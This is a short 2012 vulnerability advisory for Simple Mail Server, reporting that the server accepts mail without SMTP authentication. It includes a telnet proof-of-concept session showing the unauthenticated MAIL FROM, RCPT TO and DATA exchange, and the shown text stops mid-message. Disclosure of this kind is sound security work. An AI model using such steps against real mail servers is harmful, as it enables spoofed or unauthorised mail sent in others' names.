Simple Mail Server - SMTP Authentication Bypass Vulnerability

[demonalex@xxxxxxx]

Title: Simple Mail Server - SMTP Authentication Bypass Vulnerability

Software : Simple Mail Server

Software Version : 2011-12-30

Vendor: http://simplemailsvr.sourceforge.net/

Class:  Origin Validation Error  

CVE:
 
Remote:  Yes  

Local:  No  

Published:  2012-01-08

Updated: 

CVSS2 Base: 6.4 (AV:N/AC:L/Au:N/C:P/I:N/A:P)

Impact : Medium (4 < 6.4 < 8)

Bug Description :
Simple Mail Server is a tiny Mail Server written in C#. It can be sent mail 
without password by using usual tcp client(such as telnet).
And it did not have SMTP authentication contoller.

POC(Remarks: domain alex.com and user alex@xxxxxxxx must be exists in 
configuration for this test case):
>telnet 127.0.0.1 25
220 TEST-121F797342 SMTP ready.
EHLO mail_of_alert
500 Not supported. Use HELO
MAIL FROM: <alex@xxxxxxxx>
250 OK
RCPT TO: <alex@xxxxxxxx>
250 OK
Data
354 Start mail input; end with <CRLF>.<CRLF>
From: "alex@xxxxxxxx" <alex@xxxxxxxx>
To: "alex@xxxxxxxx" <alex@xxxxxxxx>
Subject: authenticate is not required!